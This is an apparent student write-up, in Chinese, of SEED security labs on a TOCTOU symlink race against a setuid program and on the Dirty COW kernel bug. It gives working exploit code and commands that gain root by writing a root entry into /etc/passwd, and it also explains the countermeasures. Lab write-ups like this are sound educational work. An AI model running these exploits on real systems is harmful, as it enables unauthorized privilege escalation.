Lab4.1 TOCTOU
TOCTOU漏洞原理:
if(!access(fn, W_OK)){ //*
fp = fopen(fn, "a+"); //*
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
}
由于检查(access
)和使用(fopen
)之间存在时间窗口,有可能access()
访问的文件与fopen()
打开的文件不同,尽管具有相同的文件名/tmp/XYZ
。如果attacker可以在时间窗口内以某种方式将/tmp/XYZ
作为指向受保护文件的符号链接,例如/etc/passwd
,攻击者可以将用户输入附加到/etc/passwd
中,从而获得根权限。vulnerable的程序使用根权限运行,所以它可以覆盖任何文件。
Task 1: Choosing Our Target
sudo su
,当前用户暂时申请root权限,写/etc/passwd
文件
echo 'test:U6aMy0wojraho:0:0:test:/root:/bin/bash' >>/etc/passwd
不用输密码直接回车就可以获得切换到root
Task 2: Launching the Race Condition Attack
Task 2.A: Simulating a Slow Machine
access
会检查实际运行程序的用户(seed)是否具有访问文件fn的权限,可以打开/dev/null
不能打开/etc/passwd
通过增加sleep(10);
语句创造比较长的时间窗口。
重新编译vulp.c
,设为root所有的setuid
程序。(因为改etc/passwd
需要root)
linux系统中每个进程都有2个ID,分别为用户ID(uid)和有效用户ID(euid),UID一般表示进程的创建者(属于哪个用户创建),而EUID表示进程对于文件和资源的访问权限(具备等同于哪个用户的权限)。
手动修改链接:
运行./vulp
,用户输入为要写入/etc/passwd
的字符串:test:U6aMy0wojraho:0:0:test:/root:/bin/bash
。在输入完成的十秒内,在另一个中断中执行命令ln -sf /etc/passwd /tmp/XYZ
,使/tmp/XYZ
链接到/etc/passwd
。
cat /etc/passwd
发现成功写入:
Task 2.B: The Real Attack
编写攻击程序,逻辑和上面的Task 2.A相同,先废除旧的链接让/tmp/XYZ
链接到/dev/null
,然后再废除链接让/tmp/XYZ
链接到/etc/passwd
。为避免切换太快,每次链接后usleep(1000);
。
target_process.sh
会一直尝试,总会试到一次攻击通过了acess
检查,打开文件后,/tmp/XYZ
被链接到/etc/passwd
,然后就可以修改/etc/passwd
文件了。
#include <unistd.h>
int main()
{
while(1){
unlink("/tmp/XYZ");
symlink("/dev/null","/tmp/XYZ");
usleep(1000);
unlink("/tmp/XYZ");
symlink("/etc/passwd","/tmp/XYZ");
usleep(1000);
}
return 0;
}
在target_process.sh
中用test:U6aMy0wojraho:0:0:test:/root:/bin/bash
代替输入。
在一个终端中先运行attack
,在另一个终端中运行target_process.sh
,运行了不到1分钟就输出了STOP... The passwd file has been changed
。
检查/etc/passwd
成功写入:
manual问题
多跑了几次出现了manual中的那种问题,/tmp/XYZ
的拥有者变成了root。(原本一直都是seed)
原因:攻击程序在删除/tmp/XYZ
(即unlink()
)之后,在链接到另一个文件(即symlink()
)之前立即切换上下文。因为删除现有符号链接并创建新符号链接的操作不是原子的(涉及两个单独的系统调用)。所以,如果上下文切换发生在中间(即在删除 /tmp/XYZ
之后),并且目标Set-UID程序有机会运行 fopen(fn, "a+")
语句,它将创建一个以root为所有者的新文件。攻击程序将无法再更改/tmp/XYZ
。(/tmp文件夹有一个sticky bit,这意味着只有文件的所有者可以删除该文件,即使该文件夹是所有用户都可写的)
正确:
通过access检查
-> unlink
-> symlink /etc/passwd
-> fopen /etc/passwd
错误:
通过access检查
-> unlink
-> fopen (打开了不存在的文件,vulp创建一个以root为所有者的新文件,攻击者将无法再更改/tmp/XYZ)
-> symlink
执行下图中的分支:
Task 2.C: An Improved Attack Method
使用提供的程序,通过使用renameat2
系统调用来原子地切换symlink,将renameat2
写在while
循环中:(如果while
把unlink
,symlink
也包括起来还是容易产生之前的问题):
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
int main()
{
unsigned int flags = RENAME_EXCHANGE;
unlink("/tmp/XYZ");
symlink("/dev/null", "/tmp/XYZ");
unlink("/tmp/ABC");
symlink("/etc/passwd", "/tmp/ABC");
while (1)
{
renameat2(0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
}
return 0;
}
成功写入,并且成功概率明显提高:
Task 3: Countermeasures
Task 3.A: Applying the Principle of Least Privilege
更好的方法是应用最小特权原则;即,如果用户不需要某种特权,则需要禁用该特权。
先通过getuid()
用来取得执行目前进程的用户识别码,因为是seed用户执行,进程没有超级用户权限,则seteuid
只将euid设置为seed,失去了root权限,无法打开/etc/passwd
。(效果相当于编译之后没有chown root)
重新编译后按照Task2.c的方法进行攻击,写入失败。
输出的结果分为两种:
No permission
:if (!access(fn, W_OK))
进行判断的时候,此时/tmp/XYZ
链接到了/etc/passwd
,access
判断seed用户没有权限写/etc/passwd
文件,所以输出No permission
Open failed: Permission denied
:此时/tmp/XYZ
链接到了/dev/null
,seed用户有权限写/dev/null
,但是执行fopen
时没有root权限打开/tmp/X
指向的受保护的文件/etc/passwd
。
Task 3.B: Using Ubuntu’s Built-in Scheme
打开保护,限制用户建立软链接:
sudo sysctl -w fs.protected_symlinks=1
使用task2.c的程序进行攻击,攻击失败
Q1:How does this protection scheme work?
maunal中有提到一句话:
According to the documentation, “symlinks in world-writable sticky directories (e.g./tmp) cannot be followed if the follower and directory owner do not match the symlink owner.”
当设置sticky bit后,即便用户对该目录有写入权限,也不能删除该目录中其他用户的文件数据,而是只有该文件的所有者和root用户才有权将其删除。
举例说明:
当甲用户以目录所属组或其他人的身份进入A目录时,如果甲对该目录有w权限,则表示对于A目录中任何用户创建的文件或子目录,甲都可以进行修改甚至删除等操作。但是,如果A目录设定有SBIT权限,那甲用户只能操作自己创建的文件或目录,而无法修改甚至删除其他用户创建的文件或目录。
用ll -d /tmp
命令可以查看/tmp
目录的最后一位是t
,说明此目录拥有SBIT权限。(/tmp
的所有者和组用户的权限都是rwx,对于other的权限是rwt)
/tmp
目录设置了sticky bit。当sticky符号保护开启后,在全局可写的sticky目录(如tmp
)中,只有当symlink的所有者,与follower或目录所有者相匹配时才能被follow。
在这次攻击中,当打开保护后
- 漏洞程序以root权限运行(虽然漏洞程序的所有者是seed,但是运行时的权限是root),即follower为root
/tmp
目录的所有者是root- 但是符号链接所有者是攻击者本身(seed)
所以系统不允许程序使用该符号链接。
Q2:What are the limitations of this scheme?
When fs.protected_symlinks set to “1” symlinks are permitted to be followed only when outside a sticky world-writable directory, or when the uid of the symlink and follower match, or when the directory owner matches the symlink’s owner.
-
打开sticky符号保护后,仅适用于
/tmp
这样的sticky目录。 -
如果目录的所有者匹配symlink的所有者,比如把
/tmp
的所有者改成seed,攻击成功。因为这时follower是root,directory owner和symlink’s owner都是seed。 -
(第二点,当symlink的所有者和follower匹配的时候,也是可以用符号链接的,但是因为Lab中需要修改
/etc/passwd
,所以follower必须是root,symlink的所有者也改成root)(但是由于
vulp
的所有者是seed,现在/tmp/XYZ
所有者是root后没有办法通过access
检查,需要把vulp
的所有者也改成root,这样尝试之后还是失败了,可能是还存在着别的机制。)
Lab 4.2 Dirty COW
Task 1: Modify a Dummy Read-Only File
在根目录中创建一个名为zzz的文件,将其权限更改为对普通用户的只读权限,并随便放一点东西到文件中。因为该文件只对普通用户可读,所以无法以普通用户的身份写入这个文件。
cow_attack.c
有三个线程:主线程、write线程和madvise线程。
- 主线程将
/zzz
映射到内存,找到模式“222222”所在的位置,然后创建两个子线程。 - write线程将内存中的字符串“222222”替换为“******”。由于映射的内存是COW类型,因此此线程单独只能修改映射内存副本中的内容,这不会导致对底层
zzz
文件的任何更改。 - madvise线程丢弃映射内存的私有副本,这样页表就可以指向原始映射内存。
如果交替调用write()
和madvise()
系统调用,即一个只在另一个完成后调用,那么写操作将始终在私有副本上执行,将永远无法修改目标文件。攻击成功的唯一方法是在write()
系统调用仍在运行时执行madvise()
系统调用。所以write线程和madvise线程中都有while(1)
循环。
编译并运行cow_attack.c
一段时间后查看/zzz
中的内容,发现其中的222222被成功修改:
解释原因
主线程以只读模式打开了victim file:
int f=open("/zzz", O_RDONLY);
所以理论上只能在private mode下打开read only文件,看起来就像是可读可写,但实际上写的内容不会写回原来的内存,而是kernel会分配一个新页。主线程通过mmap
,把磁盘上的文件映射到进程的内存空间,所以之后对内存进行读写相当于对原文件进行读写。
之后主线程启动了2个子线程,write
线程不停地写内存(这时候相当于在写文件),madvice
线程不停地告诉kernel内存暂时不用了,让kernel把内存swap out到磁盘。
所以write线程会遇到三种状况:
- 正常情况,已经完成COW操作,有了可写页面可以正常写入
- 不正常情况1:页不存在,刚刚完成
madvice
,页被swap out到磁盘上 - 不正常情况2:页
read only
,COW还没有触发,说明该页从swap in之后还没有被写过
当遇到后面两种不正常情况是会产生page fault,会有page fault handler进行相应处理。
当调用write
系统调用要向/proc/self/mem
文件(即进程内存,这里就是/zzz
)中写入数据时,进入内核态后内核会调用get_user_pages
函数获取要写入内存地址。get_user_pages
会调用follow_page_mask
来获取这块内存的页表项,并同时要求页表项所指向的内存映射具有可写的权限。
第一次调用follow_page_mask
获取内存的页表项会因为缺页而失败(可能刚被madvice线程swap out)。kernel会把页建好,从磁盘上swap in页,标记页面为RO,且FW仍是1,说明要进行写操作。
第二次调用follow_page_mask
,发现FW=1,用户想写,但是页面权限是RO,权限不匹配,所以把RO page的内容拷贝到COW page中,并把FW置为0(会将下一次访问视为只读访问,尽管目标是写入访问)。
第三次调用follow_page_mask
时,发现FW=0,不需要写了,就直接返回。执行真正的写入。
因为这三次调用follow_page_mask
之间是没有加锁保护的,所以如果和madvice线程产生了竞争就会产生问题。
前两次的调用同上,这时已经建立好了COW page,且FW=0,==如果在这时发生了madvice==,COW Page会被swap out到磁盘中,第三次调用follow_page_mask
时,发现page is null,所以kernel会把页面swap in,并标记为RO(和第一次调用时步骤相同),此时FW=0。
第四次调用follow_page_mask
时发现页面可读,且FW=0,继续执行的条件是满足的,退出follow_page_mask
,进行正常的写,这时就写到了RO page(因为FW=0,kernel认为文件不会被写,所以将简单地从页面缓存中拉出直接映射到底层特权文件的页面,而不是创建dirty COW页面),在下一次madvice时会被同步进磁盘,即对不可写的文件进行了写操作,在这个lab中即/zzz
的内容被修改了。
正常:
dirty cow:
Task 2: Modify the Password File to Gain the Root Privilege
新建用户charlie:
需要修改charlie在/etc/passwd
中的条目,即把第三个字段从1001改成0000,将charlie变成了一个根帐户。
只需要做三处修改:
-
main
函数中把target file改成/etc/passwd
:// Open the target file in the read-only mode. int f=open("/etc/passwd", O_RDONLY);
-
main
函数中把target area改成"1001":
// Find the position of the target area char *position = strstr(map, "1001");
-
writeThread
中把要写入的内容改成"0000"
:char *content= "0000";
重新编译,运行一段时间后再查看/etc/passwd
中的内容,发现已经被修改: